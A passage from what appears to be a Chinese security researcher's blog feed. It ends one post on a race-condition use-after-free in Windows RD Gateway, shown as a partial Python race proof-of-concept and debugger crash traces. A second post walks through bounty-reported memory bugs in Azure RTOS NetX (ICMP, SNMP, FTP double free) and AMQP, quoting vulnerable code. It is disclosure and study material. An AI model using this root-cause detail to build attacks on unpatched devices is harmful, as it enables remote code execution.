class="line">  time.sleep(<span class="number">0.1</span>)</span><br><span class="line">  sock.close()</span><br><span class="line">    </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">exp</span>():</span><br><span class="line">  <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(total_thread_nums):</span><br><span class="line">    pool.submit(main_logic) // 使用多个线程竞争</span><br><span class="line">  time.sleep(<span class="number">0.5</span>)</span><br><span class="line">  main_logic()// 模拟socket3行为</span><br></pre></td></tr></table></figure><h2 id="crash栈回溯"><a href="#crash栈回溯" class="headerlink" title="crash栈回溯"></a>crash栈回溯</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line">0:046&gt; r</span><br><span class="line">rax=0000000000000000 rbx=0000000000000000 rcx=000001aa4c74e7c0</span><br><span class="line">rdx=000001aa4bfb4f90 rsi=000001aa4c74e7c0 rdi=000001aa4d2a0650</span><br><span class="line">rip=00007ffa77957678 rsp=0000003a539fef60 rbp=0000000000000000</span><br><span class="line"> r8=7ffffffffffffffc  r9=0000000000000000 r10=00000fff4ef319d4</span><br><span class="line">r11=0000000004500000 r12=0000000000000001 r13=00007ffa779ce1c8</span><br><span class="line">r14=000001aa4c74e7c0 r15=0000000000000000</span><br><span class="line">iopl=0         nv up ei pl nz na po nc</span><br><span class="line">cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206</span><br><span class="line">aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf8:</span><br><span class="line">00007ffa`77957678 488b02          mov     rax,qword ptr [rdx] ds:000001aa`4bfb4f90=????????????????</span><br><span class="line">0:046&gt; k</span><br><span class="line"> # Child-SP          RetAddr           Call Site</span><br><span class="line">00 0000003a`539fef60 00007ffa`77952007 aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf8</span><br><span class="line">01 0000003a`539fefa0 00007ffa`779528de aaedge!CServerTunnel::Initialize+0x57</span><br><span class="line">02 0000003a`539ff030 00007ffa`7795cc20 aaedge!CAAServerTunnelFactory::InternalCreateNewTunnel+0x23a</span><br><span class="line">03 0000003a`539ff0a0 00007ffa`7795c776 aaedge!CEdgeOperations::CreateTunnelWithUser+0x30</span><br><span class="line">04 0000003a`539ff0e0 00007ffa`7799038a aaedge!CEdgeOperations::CreateTunnel+0x1d6</span><br><span class="line">05 0000003a`539ff190 00007ffa`779929c9 aaedge!CAAHttpServerConnection::HandleTunnelRequestReceived+0x262</span><br><span class="line">06 0000003a`539ff230 00007ffa`77989816 aaedge!CAAHttpServerConnection::OnReceiveDataComplete+0x1c9</span><br><span class="line">07 0000003a`539ff4d0 00007ffa`7797d5c2 aaedge!CAAHttpServerTransport::WebSocketReceiveLoop+0x104e</span><br><span class="line">08 0000003a`539ff640 00007ffa`7797e286 aaedge!CAAHttpServerTransport::HandleWebSocketReceiveRawDataCompletion+0x24e</span><br><span class="line">09 0000003a`539ff6d0 00007ffa`94407c4f aaedge!CAAHttpServerTransport::IoCompletionCallback+0x266</span><br><span class="line">0a 0000003a`539ff760 00007ffa`95a18e57 kernel32!BasepTpIoCallback+0x4f</span><br><span class="line">0b 0000003a`539ff7b0 00007ffa`95a31f9e ntdll!TppIopExecuteCallback+0x1b7</span><br><span class="line">0c 0000003a`539ff830 00007ffa`9440dbe7 ntdll!TppWorkerThread+0x57e</span><br><span class="line">0d 0000003a`539ffb90 00007ffa`95a65a4c kernel32!BaseThreadInitThunk+0x17</span><br><span class="line">0e 0000003a`539ffbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x2c</span><br><span class="line">0:046&gt; !heap -p -a 1aa`4bfb4f90</span><br><span class="line">ReadMemory error for address ffffffffffffffe8</span><br><span class="line">Use `!address ffffffffffffffe8&#x27; to check validity of the address.</span><br><span class="line">ReadMemory error for address ffffffffffffffe8</span><br><span class="line">Use `!address ffffffffffffffe8&#x27; to check validity of the address.</span><br><span class="line">    address 000001aa4bfb4f90 found in</span><br><span class="line">    _DPH_HEAP_ROOT @ 1aa40001000</span><br><span class="line">    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)</span><br><span class="line">                                1aa400465b0:      1aa4bfb4000             2000</span><br><span class="line">    00007ffa95a64373 ntdll!RtlDebugFreeHeap+0x0000000000000037</span><br><span class="line">    00007ffa95a0ba6e ntdll!RtlpFreeHeap+0x000000000000174e</span><br><span class="line">    00007ffa95a09b80 ntdll!RtlpFreeNTHeapInternal+0x00000000000003f0</span><br><span class="line">    00007ffa95a13414 ntdll!RtlpHpTagFreeHeap+0x0000000000000574</span><br><span class="line">    00007ffa95a123bd ntdll!RtlFreeHeap+0x000000000000019d</span><br><span class="line">    00007ffa94d7d61c msvcrt!free+0x000000000000001c</span><br><span class="line">    00007ffa77956fd4 aaedge!CTsgMsgServer::`vector deleting destructor&#x27;+0x0000000000000034</span><br><span class="line">    00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027</span><br><span class="line">    00007ffa7794fba2 aaedge!CServerTunnel::~CServerTunnel+0x00000000000000ce</span><br><span class="line">    00007ffa7794fd90 aaedge!CServerTunnel::`vector deleting destructor&#x27;+0x0000000000000020</span><br><span class="line">    00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027</span><br><span class="line">    00007ffa7798c816 aaedge!CAAHttpServerConnection::Cleanup+0x000000000000026e</span><br><span class="line">    00007ffa779911ca aaedge!CAAHttpServerConnection::InternalShutdown+0x0000000000000486</span><br><span class="line">    00007ffa77992768 aaedge!CAAHttpServerConnection::OnDisconnected+0x00000000000000b8</span><br><span class="line">    00007ffa7797c03c aaedge!CAAHttpServerTransport::HandleDisconnected+0x00000000000003b0</span><br><span class="line">    00007ffa7797e250 aaedge!CAAHttpServerTransport::IoCompletionCallback+0x0000000000000230</span><br><span class="line">    00007ffa94407c4f kernel32!BasepTpIoCallback+0x000000000000004f</span><br><span class="line">    00007ffa95a18e57 ntdll!TppIopExecuteCallback+0x00000000000001b7</span><br><span class="line">    00007ffa95a31f9e ntdll!TppWorkerThread+0x000000000000057e</span><br><span class="line">    00007ffa9440dbe7 kernel32!BaseThreadInitThunk+0x0000000000000017</span><br><span class="line">    00007ffa95a65a4c ntdll!RtlUserThreadStart+0x000000000000002c</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;时隔多月, 也是时候分享一个RDG的案例了. 这是一个全局变量初始化竞争导致的UAF问题. 在azure的挖掘中, 我渐渐熟悉了在开源软件里发现竞争性漏洞的感觉, 在这个case里, 我在binary程序中也找到了发现竞争漏洞的感觉.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>掌控微软Azure赏金计划(Mastering the Microsoft Azure Bounty Program)</title>
    <link href="http://474172261.github.io/2025/02/18/Azure-bounty-program-research/"/>
    <id>http://474172261.github.io/2025/02/18/Azure-bounty-program-research/</id>
    <published>2025-02-18T02:47:27.745Z</published>
    <updated>2025-02-20T09:23:47.660Z</updated>
    
    <content type="html"><![CDATA[<p>本来这个是打算在 <a href="https://insomnihack.ch/talks-2025/">Insomni’hack 2025</a> 讲的, 由于个人原因没办法参与, 所以写个blog分享一下. 本文主要内容包括我是如何开始的Azure bounty program的研究, 如何扩展的研究, 以及部分成果的分享. </p><span id="more"></span><h2 id="致谢"><a href="#致谢" class="headerlink" title="致谢"></a>致谢</h2><p>我在 Azure 下的所有成果都离不开<a href="https://x.com/XiaoWei___">肖伟</a>大神的帮助, 感谢他的指导和分享. </p><p>我也非常感谢<a href="https://x.com/guhe120">yuki chen</a>的指导和分享, 这个故事里似乎没有他, 但是其实是他带我开始了azure之路. 而且他给我介绍了一个价值连城的目标(sqlcmd), 还无私分享了他的发现, 可是我自己太菜, 没有找出更多的问题, 错失了更进一步的机会. 而他后续又在这个目标发现了非常多的问题, 又一次让人望尘莫及地成为了top1, Orz. </p><p>我还要感谢 bee13oy  , 他给我分享了sqlcmd的发现, 让我可以提高自身的水平, 弥补自己的大意. 如果我可以更仔细分析里面的每一个案例, 或许就不会错过这个目标了.</p><h2 id="Azure-Bounty-Program-规则"><a href="#Azure-Bounty-Program-规则" class="headerlink" title="Azure Bounty Program 规则"></a>Azure Bounty Program 规则</h2><p>知己知彼, 百战不殆. 要想挖微软的<a href="https://www.microsoft.com/en-us/msrc/bounty-microsoft-azure">azure bounty program</a>, 先看看他们规则咋写的(2022年时):</p><p><img src="/images/Azure-bounty-program-research.assets/1739849231708.png" alt="1739849231708"></p><p>可以看到, 它规定了目标得是Azure Products页面里的产品.</p><p>不属于范围内的规则(2022年时):</p><p><img src="/images/Azure-bounty-program-research.assets/1739849391880.png" alt="1739849391880"></p><p>因为我主要擅长二进制相关的安全研究, 所以我比较关注的是二进制相关的产品. 这里列举的 Azure Site Recovery和Azure Defender for IOT 就是二进制程序. 所以, 这个奖励计划其实是包括二进制程序的. (以前我并没有意识到这个事情, 当我知道的时候, 那两个目标已经属于Out of Scope了 (T-T), 错过了一波致富经. 好在机会还是有的, 这次我没错过:) </p><h2 id="Azure-产品"><a href="#Azure-产品" class="headerlink" title="Azure 产品"></a>Azure 产品</h2><p>访问上面bounty页面的<a href="https://azure.microsoft.com/en-us/products/">azure产品链接</a>, 就可以看到如下列表:</p><p><img src="/images/Azure-bounty-program-research.assets/1739849787948.png" alt="1739849787948"></p><p>涵盖的产品非常多, 我只截取了一小部分.  而故事一开始的重点, 就在于Azure RTOS.</p><p>一开始, 是肖伟大神先看到了这个IOT系统, 鉴于微软的尿性, MSRC往往可能不认可该产品的漏洞属于Azure Bounty Program. 所以, 在提交之前, 我发了一封邮件给 <a href="mailto:&#x62;&#x6f;&#117;&#110;&#x74;&#121;&#64;&#x6d;&#x69;&#99;&#114;&#x6f;&#x73;&#x6f;&#x66;&#116;&#46;&#99;&#x6f;&#x6d;">&#x62;&#x6f;&#117;&#110;&#x74;&#121;&#64;&#x6d;&#x69;&#99;&#114;&#x6f;&#x73;&#x6f;&#x66;&#116;&#46;&#99;&#x6f;&#x6d;</a>, 问他们Azure RTOS的NextX和NetX Duo是否在奖励计划内, 好在这次他们答复了我:</p><p><img src="/images/Azure-bounty-program-research.assets/1739850443172.png" alt="1739850443172"></p><blockquote><p>然而, 有时候他们根本不会答复, 所以这次也很幸运.</p></blockquote><h2 id="一血-ICMP"><a href="#一血-ICMP" class="headerlink" title="一血 ICMP"></a>一血 ICMP</h2><p>在这一周内, 肖伟大神已经发现了好几个RCE的问题, 而我也开始了尝试, 希望可以在肖伟大神的后面拣点漏.</p><p>然而这块的代码还是比我想象中严谨, 我一开始并没有任何收获, 只有挫败感. 在肖伟大神分享了一两个发现后, 我才发现原来自己错过了那么多. 这也让我重新找回信心, 开始继续挖掘. </p><p>很快, 我在NetX发现了和肖伟大神在NetX Duo上发现的相似的问题, NetX Duo比NetX功能强大一点, 所以理论上NetX Duo应该包含NetX的代码, 没想到NetX还多了点bug. </p><p>一开始, 微软复现后, 就将NetX项目从Github移除了, 然后告诉我, 该项目已经被废弃, 不算在奖金范畴了, 于是我祭出当初的回复邮件, 以及他们给我的答复中关于项目何时被废弃的时间(即废弃时间在我提交bug的时间之后), 他们终于承认了这个漏洞并给予了奖励.</p><p>下面看看怎么回事:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">ULONG  _nx_icmp_checksum_compute(NX_PACKET *packet_ptr)</span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">ULONG      checksum =  <span class="number">0</span>;</span><br><span class="line">ULONG      long_temp;</span><br><span class="line">USHORT     short_temp;</span><br><span class="line">ULONG      length;</span><br><span class="line">UCHAR     *word_ptr;</span><br><span class="line">NX_PACKET *current_packet;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Setup the length of the packet checksum.  */</span></span><br><span class="line">    length =  packet_ptr -&gt; nx_packet_length;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Determine if we need to add a padding byte.  */</span></span><br><span class="line">    <span class="keyword">if</span> (((length / <span class="keyword">sizeof</span>(USHORT)) * <span class="keyword">sizeof</span>(USHORT)) != length)<span class="comment">// tag2</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">/* We have single byte alignment and we need two byte alignment.  */</span></span><br><span class="line">        length++;</span><br><span class="line"></span><br><span class="line">        <span class="comment">/* Determine if there is a last packet pointer.  */</span></span><br><span class="line">        <span class="keyword">if</span> (packet_ptr -&gt; nx_packet_last)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="comment">/* Multi-packet message, add a zero byte at the end.  */</span></span><br><span class="line">            *((packet_ptr -&gt; nx_packet_last) -&gt; nx_packet_append_ptr) =  <span class="number">0</span>;<span class="comment">// tag1</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">            <span class="comment">/* Write a zero byte at the end of the first and only packet.  */</span></span><br><span class="line">            *(packet_ptr -&gt; nx_packet_append_ptr) =  <span class="number">0</span>; </span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>tag1处会向packet的<code>nx_packet_append_ptr</code>指向处写入0. 然而, 如果packet是ip 分片传入的, 它可以在<code>nx_packet_append_ptr</code>指向buffer末尾时, buffer长度还是奇数, 所以tag2的判断就成立, 导致越界写入了packet结构体的末尾. 而该结构体的末尾就是一个结构体指针, 所以刚好可能造成RCE.</p><h2 id="二血-SNMP奖金池"><a href="#二血-SNMP奖金池" class="headerlink" title="二血 SNMP奖金池"></a>二血 SNMP奖金池</h2><p>在NetX Duo 的addon目录, 有很多网络服务:</p><p><img src="/images/Azure-bounty-program-research.assets/1739851988954.png" alt="1739851988954"></p><p>其中, snmp, 就是此章节的重点, 我在其中总共发现了 12个漏洞, 虽然被合并了几个, 但是也足够幸运了.</p><p>简单列举一个案例:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">    buffer_length = (INT)(packet_ptr -&gt; nx_packet_length);</span><br><span class="line"></span><br><span class="line">    /* Setup a pointer to the buffer.  */</span><br><span class="line">    buffer_ptr =  packet_ptr -&gt; nx_packet_prepend_ptr;</span><br><span class="line">......</span><br><span class="line">    </span><br><span class="line">    do</span><br><span class="line">    &#123;</span><br><span class="line">        variable_start_ptr =  buffer_ptr;</span><br><span class="line">        length =  _nx_snmp_utility_sequence_get(buffer_ptr, &amp;variable_length, buffer_length);</span><br><span class="line">        total_variable_length =  variable_length + length;// tag1 length 为 len1</span><br><span class="line">        </span><br><span class="line">        ......</span><br><span class="line">        </span><br><span class="line">        buffer_ptr =  buffer_ptr + length;</span><br><span class="line">        buffer_length -= (INT)length;</span><br><span class="line">        length =  _nx_snmp_utility_object_id_get(buffer_ptr, agent_ptr -&gt; nx_snmp_agent_current_octet_string, buffer_length);</span><br><span class="line">        ......</span><br><span class="line">        buffer_ptr =  buffer_ptr + length;</span><br><span class="line">        buffer_length -= (INT)length;// tag2 length 为 len2</span><br><span class="line">        ......</span><br><span class="line">        if (length != variable_length)</span><br><span class="line">        &#123;</span><br><span class="line">            length =  _nx_snmp_utility_object_data_get(buffer_ptr, &amp;(agent_ptr -&gt; nx_snmp_agent_current_object_data), buffer_length);</span><br><span class="line">            ......</span><br><span class="line">        &#125;</span><br><span class="line">        ......</span><br><span class="line">        </span><br><span class="line">        buffer_ptr =  variable_start_ptr + total_variable_length;</span><br><span class="line">        variable_list_length =  variable_list_length - total_variable_length;</span><br><span class="line">        objects++;</span><br><span class="line"></span><br><span class="line">    &#125; while (variable_list_length);</span><br></pre></td></tr></table></figure><p>在一次循环里, <code>buffer_ptr</code>增加了 <code>total_variable_length</code>的长度, 即 variable_length + len1, <code>buffer_length</code>减少了<code>len1+len2</code>. 而事实上, len2不一定等于variable_length. 当 <code>variable_length  &gt; len2</code>时, 就会导致 <code>buffer_ptr</code>的剩余空间小于<code>buffer_length</code>的值. 而在<code>_nx_snmp_utility_object_id_get </code>中, 会修改buffer的内容, 导致越界写入, 从而造成RCE.</p><p>snmp中其它的bug也差不多是这种越界写入的问题.</p><h2 id="三血-FTP"><a href="#三血-FTP" class="headerlink" title="三血 FTP"></a>三血 FTP</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">VOID  _nx_ftp_server_command_process(NX_FTP_SERVER *ftp_server_ptr)</span><br><span class="line">&#123;</span><br><span class="line">    ......</span><br><span class="line">    client_req_ptr =  &amp;(ftp_server_ptr -&gt; nx_ftp_server_client_list[i]);</span><br><span class="line">    ......</span><br><span class="line">    switch(ftp_command)</span><br><span class="line">    &#123;</span><br><span class="line">            ......</span><br><span class="line">            case NX_FTP_QUIT:</span><br><span class="line">            &#123;</span><br><span class="line">                if (client_req_ptr -&gt; nx_ftp_client_request_packet)</span><br><span class="line">                &#123;</span><br><span class="line"></span><br><span class="line">                    /* Yes, release it!  */</span><br><span class="line">                    nx_packet_release(client_req_ptr -&gt; nx_ftp_client_request_packet);</span><br><span class="line">                &#125;</span><br><span class="line">                ......</span><br><span class="line">                break;</span><br><span class="line">            ......</span><br><span class="line">            case NX_FTP_RNFR:</span><br><span class="line">            &#123;</span><br><span class="line">                ......</span><br><span class="line">                client_req_ptr -&gt; nx_ftp_client_request_packet =  packet_ptr;</span><br></pre></td></tr></table></figure><p>这个漏洞比较简单, 就是这个函数可以重复多次, 而释放操作并没有置零<code>client_req_ptr -&gt; nx_ftp_client_request_packet</code>指针, 导致double free.</p><p>这个漏洞并不复杂, 我之所以要讲, 是因为我是通过vs code, 全局搜索所有的释放操作, 然后一个个检查是否有置零操作, 从而发现了它. 而我在AMQP项目也用同样的方法找到了好几个问题.</p><h2 id="四血-double-free"><a href="#四血-double-free" class="headerlink" title="四血 double free"></a>四血 double free</h2><p>找完以上bug后, 似乎已经没什么新的问题了. 但是snmp中的一个问题, 引起了我的注意.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">VOID  _nx_snmp_version_1_process(NX_SNMP_AGENT *agent_ptr, NX_PACKET *packet_ptr)</span><br><span class="line">&#123;</span><br><span class="line">    </span><br><span class="line">    do</span><br><span class="line">    &#123;</span><br><span class="line">        variable_start_ptr =  buffer_ptr;</span><br><span class="line">        ......</span><br><span class="line">        if (length != variable_length)</span><br><span class="line">        &#123;</span><br><span class="line">            length =  _nx_snmp_utility_object_data_get(buffer_ptr, &amp;(agent_ptr -&gt; nx_snmp_agent_current_object_data), buffer_length);</span><br><span class="line">        if (length != variable_length)</span><br><span class="line">        &#123;</span><br><span class="line"></span><br><span class="line">            /* Pickup the value associated with this variable.  */</span><br><span class="line">            length =  _nx_snmp_utility_object_data_get(buffer_ptr, &amp;(agent_ptr -&gt; nx_snmp_agent_current_object_data), buffer_length);</span><br><span class="line"></span><br><span class="line">            /* Determine if the object value was successful.  */ </span><br><span class="line">            if (length == 0) </span><br><span class="line">            &#123;</span><br><span class="line"></span><br><span class="line">                /* Increment the invalid packet error counter.  */</span><br><span class="line">                agent_ptr -&gt; nx_snmp_agent_invalid_packets++;</span><br><span class="line"></span><br><span class="line">                /* Increment the internal error counter.  */</span><br><span class="line">                agent_ptr -&gt; nx_snmp_agent_internal_errors++;</span><br><span class="line"></span><br><span class="line">                /* Send an SNMP version error response.  */</span><br><span class="line">                _nx_snmp_version_error_response(agent_ptr, packet_ptr, request_type_ptr, error_ptr, NX_SNMP_ERROR_BADVALUE, objects+1); // 1. 函数有可能释放 packet_ptr</span><br><span class="line"></span><br><span class="line">                /* Release the packet.  */</span><br><span class="line">                nx_packet_release(packet_ptr);// 2. 直接释放 packet_ptr</span><br><span class="line">        &#125;</span><br><span class="line">        ......</span><br><span class="line"></span><br><span class="line">    &#125; while (variable_list_length);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">VOID  _nx_snmp_version_error_response(NX_SNMP_AGENT *agent_ptr, NX_PACKET *packet_ptr, UCHAR *request_type_ptr, </span><br><span class="line">                                      UCHAR *error_string_ptr, UINT error_code, UINT error_index)</span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">    ......</span><br><span class="line">    status =  nxd_udp_socket_send(&amp;(agent_ptr -&gt; nx_snmp_agent_socket), packet_ptr, </span><br><span class="line">                                                &amp;(agent_ptr -&gt; nx_snmp_agent_current_manager_ip),</span><br><span class="line">                                                agent_ptr -&gt; nx_snmp_agent_current_manager_port);</span><br><span class="line"></span><br><span class="line">    if (status)</span><br><span class="line">    &#123;</span><br><span class="line">        nx_packet_release(packet_ptr);</span><br><span class="line">    &#125;</span><br><span class="line">    return;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从上述操作可以明显看到, 假如<code>nxd_udp_socket_send</code>返回非0结果, 它就会释放<code>packet_ptr</code>, 而上层函数不管发生了什么, 都会再次释放packet_ptr.</p><p>如果是单线程, 这其实是没有问题的, 因为<code>nx_packet_release</code>里有判断操作, 所以不会导致double free问题. 一开始我也是这么认为的. 直到某次测试时, 发现RTOS是多线程的. 然后重新重视起这个问题, 测试后发现, 确实可以多线程竞争, 造成double free的问题.</p><p>另外, 即使<code>nxd_udp_socket_send</code>发送成功, 也会在<code>nxd_udp_socket_send</code>内部的子函数实现中释放packet_ptr.</p><p>从这一个问题, 我就开始想, 是不是调用方并不知道<code>nxd_udp_socket_send</code>其实会释放<code>packet</code>?</p><p>通过遍历所有类似的调用函数, 我在不同模块里找到了7个相似问题. 还有几个还没有来得及确认, MSRC就已经将 RTOS加入out of scope了:</p><ul><li>August 16, 2023: Added to out of scope – vulnerabilities found in Azure RTOS.</li></ul><blockquote><p>有好的目标确实应该不舍昼夜地挖, 不然你永远不知道他们什么时候不给钱了.</p></blockquote><h2 id="寻找下一个目标"><a href="#寻找下一个目标" class="headerlink" title="寻找下一个目标"></a>寻找下一个目标</h2><p>在RTOS不给钱以后, 我只能再找找Azure的其它产品是否存在安全问题. 先后查看了以下产品:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">Azure Data Factory</span><br><span class="line">Azure Stack Development Kit</span><br><span class="line">Azure Stack Hub</span><br><span class="line">Azure Communication Services</span><br><span class="line">Azure migrate</span><br><span class="line">Azure Storage Explorer</span><br><span class="line">Azure lustre</span><br><span class="line">Spatial Anchors/Remote Rendering</span><br><span class="line">Azure Object Anchors </span><br><span class="line">Azure Database Migration Service</span><br><span class="line">Azure Monitor</span><br><span class="line">Azure Update Manager</span><br><span class="line">microsoft purview</span><br><span class="line">Azure Arc</span><br><span class="line">Service Fabric</span><br></pre></td></tr></table></figure><p>上述产品并没有深入, 我不擅长, 所以就没有深入. 中间提交了azure iot-plug-and-play-bridge, Azure Kinect SDK Depth Engine 的漏洞, 最后不在奖励范围内. 于是我继续寻找新目标.</p><p>在一个个翻找<a href="https://learn.microsoft.com/zh-cn/azure/?product=popular">azure的产品及说明文档</a>, 寻找目标时, Github上的开源组件<a href="https://github.com/Azure/azure-uamqp-c">azure-uamqp-c</a>吸引了我的注意力. 它是一个消息传输协议, 并且在多个服务中看到它的存在. 而且还开源. 所以我开始寻找它上面的问题.</p><h2 id="一鱼三吃"><a href="#一鱼三吃" class="headerlink" title="一鱼三吃"></a>一鱼三吃</h2><p>在花了几天时间分析amqp后, 我找到了一个越界写入问题.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">case</span> <span class="number">0xB0</span>:</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> (internal_decoder_data-&gt;bytes_decoded &lt; <span class="number">4</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        internal_decoder_data-&gt;decode_to_value-&gt;value.binary_value.length += buffer[<span class="number">0</span>] &lt;&lt; ((<span 